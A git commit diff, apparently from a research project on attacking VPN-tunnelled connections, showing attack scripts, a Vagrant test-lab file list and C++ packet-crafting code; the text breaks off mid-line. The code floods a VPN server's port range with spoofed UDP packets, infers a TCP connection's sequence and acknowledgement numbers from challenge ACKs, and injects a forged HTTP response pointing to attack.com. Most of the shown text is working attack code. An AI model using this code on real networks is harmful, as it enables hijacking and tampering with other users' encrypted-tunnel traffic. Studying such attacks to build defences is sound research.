56 changed files with 1072 additions and 28584 deletions
-
31client-side-attack/complete_attack/attack.sh
-
10client-side-attack/first_phase/phase_one_attack.sh
-
41client-side-attack/first_phase/send.cpp
-
51client-side-attack/sec_phase/send.cpp
-
57client-side-attack/third_phase/send.cpp
-
10server-side-attack/dns-sside/full_scan/send.cpp
-
BINserver-side-attack/dns-sside/full_scan/uud_send
-
2server-side-attack/dns-sside/phases/udder_fillup/Makefile
-
23545server-side-attack/dns-sside/phases/udder_fillup/fill_log.txt
-
26server-side-attack/dns-sside/phases/udder_fillup/fillup.blah
-
165server-side-attack/dns-sside/phases/udder_fillup/send.cpp
-
BINserver-side-attack/dns-sside/phases/udder_fillup/uud_send
-
0server-side-attack/tcp-sside/conn_inf/Makefile
-
70server-side-attack/tcp-sside/conn_inf/send.cpp
-
BINserver-side-attack/tcp-sside/conn_inf/tcp_send
-
2server-side-attack/tcp-sside/inject/Makefile
-
695server-side-attack/tcp-sside/inject/send.cpp
-
BINserver-side-attack/tcp-sside/inject/send_p3
-
0virtual-test-environment/.gitignore
-
82virtual-test-environment/README.md
-
15virtual-test-environment/boot_all.sh
-
29virtual-test-environment/configs/configure_vpn.sh
-
15virtual-test-environment/configs/setup_cliside_env.sh
-
24virtual-test-environment/configs/setup_servside_env.sh
-
1virtual-test-environment/edgers/client/.vagrant/machines/default/virtualbox/vagrant_cwd
-
6virtual-test-environment/edgers/client/Vagrantfile
-
2virtual-test-environment/edgers/client/copy_client_config.sh
-
12virtual-test-environment/edgers/client/setup_net.sh
-
650virtual-test-environment/edgers/client/ubuntu-xenial-16.04-cloudimg-console.log
-
2virtual-test-environment/edgers/setups/attacker/setup_attacker.sh
-
12virtual-test-environment/edgers/setups/disable_rp_filter.sh
-
74virtual-test-environment/edgers/setups/vpn_server/setup_vpn.sh
-
1virtual-test-environment/edgers/vpn-server/.vagrant/machines/default/virtualbox/vagrant_cwd
-
3virtual-test-environment/edgers/vpn-server/Vagrantfile
-
2virtual-test-environment/edgers/vpn-server/copy_vpn_setup.sh
-
1virtual-test-environment/edgers/vpn-server/setup_net.sh
-
653virtual-test-environment/edgers/vpn-server/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/edgers/web-server/.vagrant/machines/default/virtualbox/vagrant_cwd
-
2virtual-test-environment/edgers/web-server/Vagrantfile
-
648virtual-test-environment/edgers/web-server/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/gateway/.vagrant/machines/default/virtualbox/vagrant_cwd
-
2virtual-test-environment/routers/gateway/Vagrantfile
-
11virtual-test-environment/routers/gateway/copy_attacker_setup.sh
-
654virtual-test-environment/routers/gateway/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/router1/.vagrant/machines/default/virtualbox/vagrant_cwd
-
4virtual-test-environment/routers/router1/Vagrantfile
-
2virtual-test-environment/routers/router1/copy_attacker_setup.sh
-
666virtual-test-environment/routers/router1/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/router2/.vagrant/machines/default/virtualbox/vagrant_cwd
-
4virtual-test-environment/routers/router2/Vagrantfile
-
672virtual-test-environment/routers/router2/ubuntu-xenial-16.04-cloudimg-console.log
-
1virtual-test-environment/routers/router3/.vagrant/machines/default/virtualbox/vagrant_cwd
-
4virtual-test-environment/routers/router3/Vagrantfile
-
663virtual-test-environment/routers/router3/ubuntu-xenial-16.04-cloudimg-console.log
-
22virtual-test-environment/start_all.sh
-
8virtual-test-environment/stop_all.sh
@ -1,10 +0,0 @@ |
|||
#/bin/bash |
|||
|
|||
./phase_one_attack 52:54:00:12:ae:4c\ |
|||
52:54:00:12:ae:3f\ |
|||
10.7.1.0\ |
|||
255.255.255.0\ |
|||
192.168.64.1\ |
|||
ens5\ |
|||
35220\ |
|||
443 |
@ -1,2 +0,0 @@ |
|||
all: |
|||
g++ -O3 -o uud_send send.cpp -lpthread -ltins -std=c++11 |
23545
server-side-attack/dns-sside/phases/udder_fillup/fill_log.txt
File diff suppressed because it is too large
View File
File diff suppressed because it is too large
View File
@ -1,26 +0,0 @@ |
|||
#/bin/bash |
|||
# |
|||
|
|||
|
|||
START_PORT=42000 |
|||
END_PORT=62000 |
|||
|
|||
|
|||
SRC_IP=10.8.0.10 |
|||
#SRC_IP=$(ifconfig | grep inet | grep -w 10.8 | awk -F' ' '{print $2}' | awk -F':' '{print $2}') |
|||
NOW=$(date '+%F %T') |
|||
echo "Starting port fill at $NOW" |
|||
|
|||
echo "Using tun src ip: $SRC_IP" |
|||
echo "Filling up vpn port range from $START_PORT to $END_PORT.." |
|||
|
|||
sudo ./uud_send 192.168.3.2 53 $SRC_IP $START_PORT $END_PORT |
|||
|
|||
#sleep 1 |
|||
|
|||
#echo "Responding to all my own client probes to make sure they're kept in the table" |
|||
|
|||
#sudo ./uud_send 192.168.3.2 54 192.168.2.2 $START_PORT $END_PORT 1 |
|||
|
|||
NOW1=$(date '+%F %T') |
|||
echo "Finished port fill at $NOW1" |
@ -1,165 +0,0 @@ |
|||
#include <tins/tins.h>
|
|||
#include <cassert>
|
|||
#include <iostream>
|
|||
#include <string>
|
|||
#include <unistd.h>
|
|||
#include <thread>
|
|||
#include <random>
|
|||
|
|||
|
|||
using std::thread; |
|||
using std::cout; |
|||
using std::string; |
|||
using std::vector; |
|||
using namespace Tins; |
|||
|
|||
|
|||
bool is_running = true; |
|||
bool verbose = false; |
|||
bool count_resp = false; |
|||
|
|||
string dest_ip; |
|||
string server_ip; |
|||
|
|||
|
|||
void print_divider(int count) { |
|||
int i = 0; |
|||
while (i < count) { |
|||
if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; |
|||
i++; |
|||
} |
|||
} |
|||
|
|||
|
|||
std::string random_string(std::size_t length) { |
|||
|
|||
const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; |
|||
|
|||
std::random_device random_device; |
|||
std::mt19937 generator(random_device()); |
|||
std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1); |
|||
|
|||
string random_string; |
|||
|
|||
for (std::size_t i = 0; i < length; ++i) { |
|||
random_string += CHARACTERS[distribution(generator)]; |
|||
} |
|||
|
|||
return random_string; |
|||
} |
|||
|
|||
|
|||
|
|||
// Spreads UDPs across the victim's entire port range
|
|||
// to find a port that is being used and the spoofed packets
|
|||
// get NAT'ed back to the client
|
|||
//
|
|||
int spread_uds(bool server_spread, string server_ip, int server_port, string dest_ip, int start_port, int end_port) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface("enp0s9"); |
|||
int i; |
|||
IP pkt; |
|||
|
|||
if (server_spread) pkt = IP(dest_ip, server_ip) / UDP(start_port, server_port); |
|||
else pkt = IP(server_ip, dest_ip) / UDP(server_port, start_port); |
|||
|
|||
UDP& udp = pkt.rfind_pdu<UDP>(); |
|||
int spoof_port = start_port; |
|||
|
|||
int send_size = 0; |
|||
int send_count = 0; |
|||
string send_payload = random_string(send_size); |
|||
|
|||
|
|||
|
|||
cout << "spreading the port range from " << spoof_port << " to " << end_port << " with udps..\n"; |
|||
|
|||
|
|||
while (spoof_port < end_port) { |
|||
|
|||
if (server_spread) udp.dport(spoof_port); // set the packets src port to current guess
|
|||
else udp.sport(spoof_port); |
|||
sender.send(pkt, iface); |
|||
spoof_port++; |
|||
send_size ++; |
|||
send_payload = random_string(send_size); |
|||
//cout << "next rando string: " << send_payload << "\n";
|
|||
|
|||
// if the payload size reaches 1000 (max), reset back to 0
|
|||
if (send_size >= 1000) { |
|||
send_size = 0; |
|||
cout << "Sent w size 1000 to " << spoof_port << "\n"; |
|||
} |
|||
|
|||
usleep(1); |
|||
} |
|||
|
|||
if (verbose) print_divider(2); |
|||
|
|||
return 1; |
|||
|
|||
} |
|||
|
|||
|
|||
int fill_ports(bool server_spread, string source_ip, int sport, string dest_ip, int start_port, int end_port) { |
|||
|
|||
bool filling = true; |
|||
int current_port = 0; |
|||
|
|||
while (filling) { |
|||
|
|||
current_port = spread_uds(server_spread, source_ip, sport, dest_ip, start_port, end_port); |
|||
print_divider(1); |
|||
|
|||
if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n"; |
|||
|
|||
count_resp = true; |
|||
filling = false; |
|||
print_divider(2); |
|||
|
|||
} |
|||
|
|||
return current_port; |
|||
|
|||
} |
|||
|
|||
|
|||
|
|||
|
|||
int main(int argc, char** argv) { |
|||
|
|||
cout << "arc twas: " << argc; |
|||
|
|||
if (argc != 6 && argc != 7) { |
|||
cout << "sike wrong number of args ---> (server_ip, server_port, dest_ip, start_port, end_port <enable_server_spread>)\n"; |
|||
return 0; |
|||
} |
|||
|
|||
server_ip = argv[1]; // dns server IP
|
|||
int server_port = atoi(argv[2]); |
|||
dest_ip = argv[3]; // vpn server IP
|
|||
int start_port = atoi(argv[4]); |
|||
int end_port = atoi(argv[5]); |
|||
bool server_spread = false; |
|||
|
|||
if (argc == 7) server_spread = true; |
|||
|
|||
verbose = true; |
|||
|
|||
string dest_mac = ""; |
|||
string src_mac = ""; |
|||
|
|||
print_divider(2); |
|||
|
|||
|
|||
int p = fill_ports(server_spread, server_ip, server_port, dest_ip, start_port, end_port); |
|||
|
|||
cout << p << "\n"; |
|||
print_divider(1); |
|||
is_running = false; |
|||
|
|||
if (verbose) cout << "Filled up all those ports and finished at: " << p << "\n"; |
|||
|
|||
return p; |
|||
} |
@ -0,0 +1,2 @@ |
|||
all: |
|||
g++ -O3 -o send_p3 send.cpp -lpthread -ltins -std=c++11 |
@ -0,0 +1,695 @@ |
|||
#include <tins/tins.h>
|
|||
#include <cassert>
|
|||
#include <iostream>
|
|||
#include <string>
|
|||
#include <unistd.h>
|
|||
#include <thread>
|
|||
|
|||
|
|||
using std::thread; |
|||
using std::cout; |
|||
using std::vector; |
|||
using namespace Tins; |
|||
|
|||
long current_spoof_seq; |
|||
long current_spoof_ack; |
|||
long current_min_ack; |
|||
long best_seq = 0; |
|||
long best_ack; |
|||
|
|||
vector<long> possible_seqs; |
|||
vector<long> possible_acks; |
|||
|
|||
int num_sent = 0; |
|||
int current_round = 1; |
|||
bool ack_search = false; |
|||
bool track_nums = false; |
|||
bool count_chacks = false; |
|||
bool sniffed_chack = false; |
|||
|
|||
bool show = false; |
|||
bool testing = true; // if using netcat set to true, else false
|
|||
int sniff_request = 0; // 0 = off, 1 = sniffing for request, 2 = sniffed that request
|
|||
|
|||
std::string victim_wlan_addr, dest_ip, remote_addr, interface; |
|||
int sport, dport, request_size, chack_count; |
|||
|
|||
|
|||
std::string dest_mac = ""; |
|||
std::string src_mac = ""; |
|||
|
|||
|
|||
void print_divider(int count) { |
|||
int i = 0; |
|||
while (i < count) { |
|||
cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"; |
|||
i++; |
|||
} |
|||
} |
|||
|
|||
// Injects a malicious payload with the exact seq
|
|||
// and in-window ack inferred before
|
|||
//
|
|||
int inject_junk(long exact_seq, long in_win_ack) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface(interface); |
|||
|
|||
std::string message = "HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 84\r\nConnection: keep-alive\r\n\r\n<h1><a href=\"https://attack.com\">Just some junk here..</a></h1>"; |
|||
|
|||
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(message); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
|
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.seq(exact_seq); |
|||
tcp.ack_seq(in_win_ack); |
|||
|
|||
print_divider(2); |
|||
cout << "attempting to inject garbage into the connection..\n"; |
|||
cout << "injected seq: " << exact_seq << ", in-win ack: " << in_win_ack << "\n"; |
|||
|
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
|
|||
return 1; |
|||
|
|||
} |
|||
|
|||
|
|||
// Send the same probe a number of times
|
|||
// to see if the same amount of responses are
|
|||
// triggered from the client
|
|||
//
|
|||
bool rechack(long seq, long ack, int num_checks) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface(interface); |
|||
count_chacks = true; |
|||
|
|||
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(""); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
|
|||
if (ack == 0) { |
|||
tcp.set_flag(TCP::RST, 1); |
|||
} else { |
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.ack_seq(ack); |
|||
} |
|||
|
|||
|
|||
tcp.seq(seq); |
|||
chack_count = 0; |
|||
int count = 0; |
|||
usleep(1000000 / 2); |
|||
|
|||
while (count < num_checks) { |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(1000000 / 2 * 1.2); // must sleep half second due to chall-ack rate limit
|
|||
count ++; |
|||
} |
|||
|
|||
usleep(1000000); |
|||
|
|||
// should have just sniffed as many chacks as we just sent
|
|||
cout << "end of rechack, count was: " << chack_count << ", should be: " << num_checks << " \n"; |
|||
|
|||
if (chack_count >= num_checks) { |
|||
return true; |
|||
} |
|||
|
|||
count_chacks = false; |
|||
|
|||
return false; |
|||
|
|||
} |
|||
|
|||
|
|||
// Use the fact the client will respond to empty PSH-ACKs
|
|||
// that have an in window ack AND a sequence number less than the exact
|
|||
// next expected sequence, with chall-acks to infer exact sequence num
|
|||
//
|
|||
long find_exact_seq(long in_win_seq, long in_win_ack, int send_delay) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface(interface); |
|||
|
|||
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(""); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
|
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.ack_seq(in_win_ack); |
|||
|
|||
count_chacks = false; |
|||
track_nums = false; |
|||
|
|||
long min_seq = in_win_seq - 200; // assuming the in_window_seq is within 200 of the left edge of window
|
|||
sniffed_chack = false; |
|||
long curr_seq = in_win_seq; |
|||
|
|||
// Continually decrement the in window sequence number
|
|||
// until we sniff a chack which means we just passed the
|
|||
// left edge of the sequence window
|
|||
//
|
|||
print_divider(1); |
|||
bool is_found = false; |
|||
|
|||
while (!is_found) { |
|||
|
|||
long j = curr_seq; |
|||
sniffed_chack = false; |
|||
|
|||
while (j > min_seq && !sniffed_chack) { |
|||
usleep(send_delay); |
|||
cout << "spoofing with seq: " << j << "\n"; |
|||
|
|||
tcp.seq(j); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
j -= 1; |
|||
} |
|||
|
|||
usleep(100000); |
|||
curr_seq = best_seq; |
|||
cout << "best seq at end of exact scan: " << curr_seq << "\n"; |
|||
|
|||
print_divider(1); |
|||
is_found = rechack(curr_seq, in_win_ack, 2); |
|||
if (show) cout << "exact seq was in win after rechack? " << is_found << "\n"; |
|||
|
|||
} |
|||
|
|||
return curr_seq; |
|||
} |
|||
|
|||
|
|||
// Use the fact the client will respond to empty PSH-ACKs
|
|||
// that have an in window sequence number AND ack number less than the
|
|||
// ack number in use with chall-acks to infer an in-window ack number
|
|||
//
|
|||
long find_ack_block(long max_ack, long min_ack, long in_win_seq, long block_size, int send_delay, bool verbose, int chack_trigs) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface(interface); |
|||
|
|||
// Loop over ack space sending empty push-acks
|
|||
// that use the in window sequence number found before
|
|||
//
|
|||
|
|||
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport) / RawPDU(""); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::PSH, 1); |
|||
tcp.set_flag(TCP::ACK, 1); |
|||
tcp.seq(in_win_seq); |
|||
|
|||
sniffed_chack = false; |
|||
chack_count = 0; |
|||
count_chacks = true; |
|||
track_nums = true; |
|||
|
|||
current_min_ack = min_ack; |
|||
long j = max_ack; |
|||
long current_ack = 0; |
|||
best_ack = 0; |
|||
|
|||
|
|||
while (j > min_ack && chack_count < chack_trigs) { |
|||
usleep(send_delay); |
|||
|
|||
tcp.ack_seq(j); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
|
|||
if (verbose && show) cout << "spoofing with ack: " << j << "\n"; |
|||
|
|||
if (j < 100000000) { // for tiny ack range
|
|||
j -= block_size / 100; |
|||
|
|||
} else { |
|||
j -= block_size; |
|||
} |
|||
} |
|||
|
|||
usleep(100000); |
|||
|
|||
|
|||
for (int i = 0; i < possible_acks.size(); i ++) { |
|||
long cack = possible_acks[i]; |
|||
if (cack > current_ack) current_ack = cack; |
|||
|
|||
} |
|||
cout << "best ack at end of ack scan: " << current_ack << "\n"; |
|||
track_nums = false; |
|||
|
|||
return current_ack; |
|||
} |
|||
|
|||
// Finds the "quiet" portion of the ack range to
|
|||
// start scanning and then begins to find an approx
|
|||
// ack block close to the one being used
|
|||
//
|
|||
long quack_spread(long in_win_seq) { |
|||
|
|||
cout << "starting quack spread w seq: " << in_win_seq << "\n"; |
|||
|
|||
long start_ack_guess = 4294967294 / 2; |
|||
long end_ack_guess = 100; |
|||
|
|||
long block_size = 100000000; |
|||
sniffed_chack = false; // assume its gonna find an ack here first
|
|||
|
|||
|
|||
// if the actual ack is less than half of the max_ack allowed,
|
|||
// then it will consider acks at the very top end of the ack space (~429.....)
|
|||
// to be less than that small ack. therefore, we check if the max ack
|
|||
// triggers chacks right away, if so then we half the start_ack guess (~214....)
|
|||
|
|||
|
|||
bool triggering = rechack(in_win_seq, start_ack_guess, 3); |
|||
|
|||
cout << "is ack in upper half? " << triggering << "\n"; |
|||
|
|||
if (triggering) { // then we know the ack is in the lower half of the ack space
|
|||
start_ack_guess = start_ack_guess * 2; |
|||
} |
|||
|
|||
long j = start_ack_guess; |
|||
sniffed_chack = false; |
|||
print_divider(1); |
|||
|
|||
// Now continually decrement ack until we trigger another chack
|
|||
//
|
|||
|
|||
int send_delay = 75000; |
|||
bool is_found = false; |
|||
long current_ack = 0; |
|||
|
|||
while (!is_found) { |
|||
|
|||
current_ack = find_ack_block(start_ack_guess, 0, in_win_seq, block_size, send_delay, true, 1); |
|||
|
|||
cout << "finished quiet block spread, guessed quiet block ack: " << current_ack << "\n"; |
|||
print_divider(1); |
|||
|
|||
// recheck and send multiple to make sure we found correct ack block
|
|||
is_found = rechack(in_win_seq, current_ack, 2); |
|||
if (show) cout << "was in win after rechack? " << is_found << "\n"; |
|||
|
|||
if (!is_found) start_ack_guess = current_ack; |
|||
} |
|||
|
|||
|
|||
return current_ack; |
|||
} |
|||
|
|||
// Use the fact the client will respond to RSTs
|
|||
// with an in-window sequence number with chall-acks to
|
|||
// infer an in-window seq number
|
|||
//
|
|||
long find_seq_block(long prev_block_size, long new_block_size, long delay_mult, long send_delay, long top_seq) { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface(interface); |
|||
|
|||
long max_seq = top_seq; |
|||
long adder = prev_block_size * delay_mult; |
|||
|
|||
cout << "starting round " << current_round << " spread at: " << (max_seq - adder) << "\n"; |
|||
|
|||
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::RST, 1); |
|||
|
|||
long i; |
|||
|
|||
for (i = (max_seq - adder); i < max_seq; i += new_block_size) { |
|||
tcp.seq(i); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(send_delay); |
|||
} |
|||
|
|||
cout << "finished round " << current_round << " spread, guessed in window seq: " << best_seq << "\n"; |
|||
|
|||
return best_seq; |
|||
|
|||
} |
|||
|
|||
|
|||
// Attempt to sniff challenge acks while recording
|
|||
// the last sequence or ack number we spoofed
|
|||
//
|
|||
bool handle_packet(PDU &some_pdu) { |
|||
|
|||
const IP &ip = some_pdu.rfind_pdu<IP>(); |
|||
|
|||
if (ack_search) { |
|||
// keep track of the last ack num we spoofed
|
|||
if (ip.src_addr() == remote_addr) current_spoof_ack = some_pdu.rfind_pdu<TCP>().ack_seq(); |
|||
|
|||
if (ip.src_addr() == victim_wlan_addr) { |
|||
|
|||
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size(); |
|||
//cout << payload << "\n";
|
|||
|
|||
if (payload == 115) { // each triggered chall-ack is 115 length SSL
|
|||
if (show) cout << "sniffed chack w ack: " << (current_spoof_ack) << "\n"; |
|||
if (count_chacks) chack_count += 1; |
|||
if (track_nums) possible_acks.push_back(current_spoof_ack); |
|||
if (current_spoof_ack > current_min_ack) best_ack = current_spoof_ack; |
|||
sniffed_chack = true; |
|||
} |
|||
} |
|||
|
|||
} else if (sniff_request == 1) { |
|||
// sniffing for a certain client request size (last step after finding seq and ack)
|
|||
if (ip.src_addr() == victim_wlan_addr) { |
|||
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size(); |
|||
cout << "sniffed cli request of size " << payload << "\n"; |
|||
if (payload == request_size) { |
|||
sniff_request = 2; |
|||
} |
|||
} |
|||
|
|||
} else { // sniffing for chack during sequence search
|
|||
|
|||
// keep track of the last sequence num we spoofed
|
|||
if (ip.src_addr() == remote_addr) current_spoof_seq = some_pdu.rfind_pdu<TCP>().seq(); |
|||
|
|||
if (ip.src_addr() == victim_wlan_addr) { |
|||
|
|||
const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size(); |
|||
//cout << payload << "\n";
|
|||
|
|||
if (payload == 115) { // each triggered chall-ack is 1 length15 SSL
|
|||
|
|||
if (show) cout << "sniffed chack w seq: " << (current_spoof_seq) << "\n"; |
|||
|
|||
if (track_nums) { |
|||
best_seq = current_spoof_seq; |
|||
possible_seqs.push_back(current_spoof_seq); |
|||
} else if (count_chacks) { //
|
|||
chack_count += 1; |
|||
best_seq = current_spoof_seq; |
|||
} else { |
|||
if (!sniffed_chack) { |
|||
|
|||
if (best_seq == 0) { // still in initial seq spread
|
|||
best_seq = current_spoof_seq; |
|||
sniffed_chack = true; |
|||
} else { |
|||
// make sure new seq is less than the previous sniffed one
|
|||
if (current_spoof_seq < best_seq) { |
|||
best_seq = current_spoof_seq; |
|||
sniffed_chack = true; |
|||
} |
|||
} |
|||
|
|||
} |
|||
} |
|||
|
|||
} |
|||
|
|||
} |
|||
} |
|||
|
|||
return true; |
|||
} |
|||
|
|||
|
|||
|
|||
void sniff_stuff() { |
|||
SnifferConfiguration config; |
|||
config.set_promisc_mode(true); |
|||
Sniffer sniffer(interface, config); |
|||
sniffer.sniff_loop(handle_packet); // call the handle function for each sniffed pack
|
|||
} |
|||
|
|||
|
|||
// Try to find an in window sequence number using
|
|||
// one of the very rough estimates found in the first
|
|||
// sequence spread
|
|||
long try_seq_block(long current_seq) { |
|||
|
|||
// Just did round 1 spoofing fast to get rough estimate of
|
|||
// in window sequence number, now we send a round 2 and 3 spreads
|
|||
// using the approximated seq with lower send rates
|
|||
|
|||
current_round = 2; |
|||
sniffed_chack = false; |
|||
int wait_count = 0; |
|||
best_seq = current_seq; |
|||
usleep(1000000 / 2); |
|||
|
|||
// this will take into account the last block size of 50k,
|
|||
// skip in blocks of 1055 seq nums per send, assume the last
|
|||
// rounds delay was 80 packets for a response, and send every 150 msecs
|
|||
long s1 = find_seq_block(50000, 1055, 80, 150, current_seq); |
|||
|
|||
while (best_seq == current_seq) { |
|||
usleep(500000); |
|||
if (show) cout << "waiting on round 2 chack..\n"; // return -1 if waiting too long
|
|||
wait_count +=1; |
|||
if (wait_count > 5) return -1; |
|||
} |
|||
|
|||
// Now we should have a close estimate to an in-window seq
|
|||
// so next do a third scan at much slower rate to ensure its
|
|||
// an in-window sequence num
|
|||
print_divider(1); |
|||
usleep(1000000 / 2); |
|||
|
|||
sniffed_chack = false; |
|||
current_round += 1; |
|||
current_seq = best_seq; |
|||
wait_count = 0; |
|||
|
|||
long s2 = find_seq_block(1055, 20, 50, 600, current_seq); |
|||
|
|||
while (best_seq == current_seq) { |
|||
usleep(500000); |
|||
if (show) cout << "waiting on round 3 chack..\n"; |
|||
wait_count +=1; |
|||
if (wait_count > 5) return -1; |
|||
} |
|||
|
|||
return best_seq; |
|||
|
|||
} |
|||
|
|||
// Gets rough estimate of sequence number in use
|
|||
// by spreading entire sequence range quickly then
|
|||
// tries to find in win sequence using each
|
|||
//
|
|||
long find_in_win_seq() { |
|||
|
|||
PacketSender sender; |
|||
NetworkInterface iface(interface); |
|||
|
|||
long start_seq_guess = 1; |
|||
long max_seq_num = 4294967295; |
|||
track_nums = true; // phase 1 is so fast it sniffs false seq nums so we try each
|
|||
|
|||
cout << "spreading the connections entire sequence number range...\n"; |
|||
usleep(1000000 / 2); |
|||
|
|||
IP pkt = IP(dest_ip, remote_addr) / TCP(dport, sport); |
|||
TCP& tcp = pkt.rfind_pdu<TCP>(); |
|||
tcp.set_flag(TCP::RST, 1); |
|||
|
|||
long i; |
|||
|
|||
for (i = start_seq_guess; i < max_seq_num; i += 50000) { // sends to the whole sequence num space
|
|||
tcp.seq(i); |
|||
sender.send(pkt, iface); |
|||
num_sent ++; |
|||
usleep(10); |
|||
} |
|||
usleep(1000000); |
|||
cout << "finished round 1 spread, guessed in window seq: " << best_seq << "\n"; |
|||
|
|||
track_nums = false; |
|||
int j = 0; |
|||
long in_win_seq = -1; |
|||
|
|||
while (j < possible_seqs.size() && in_win_seq == -1) { // try each possible seq block
|
|||
print_divider(1); |
|||
current_round = 0; |
|||
if (show) cout << "trying to find in window seq around " << possible_seqs[j] << "\n"; |
|||
in_win_seq = try_seq_block(possible_seqs[j]); |
|||
j ++; |
|||
if (show) cout << "in win seq after try? " << in_win_seq << "\n"; |
|||
usleep(1000000 / 2); |
|||
} |
|||
|
|||
|
|||
possible_seqs.clear(); |
|||
track_nums = false; |
|||
|
|||
print_divider(1); |
|||
usleep(1000000 / 2); |
|||
|
|||
return best_seq; |
|||
|
|||
} |
|||
|
|||
|
|||
// Send two spoof rounds while increasing the send delay and
|
|||
// decreasing block size to quickly get in-win ack estimate
|
|||
//
|
|||
long find_in_win_ack(long in_win_seq) { |
|||
|
|||
// quack should be below current ack in use but we only rechack once first round
|
|||
ack_search = true; |
|||
long quack = quack_spread(in_win_seq); |
|||
|
|||
// Spoof empty PSH-ACKs starting at 'quack' plus some send delay
|
|||
// until we sniff a chack and know we just went below the left
|
|||
// edge of the ack window
|
|||
usleep(1000000); |
|||
print_divider(1); |
|||
possible_acks.clear(); |
|||
|
|||
long block_size = 10000; |
|||
int send_delay = 500; |
|||
long max_ack = quack + (1 * 100000000); |
|||
long min_ack = quack; |
|||
long clack; |
|||
|
|||
bool is_found = false; |
|||
|
|||
while (!is_found) { // retry ack scan until we find block triggering chacks
|
|||
|
|||
cout << "starting round 1 ack scan w min: " << min_ack << " and max: " << max_ack << "< |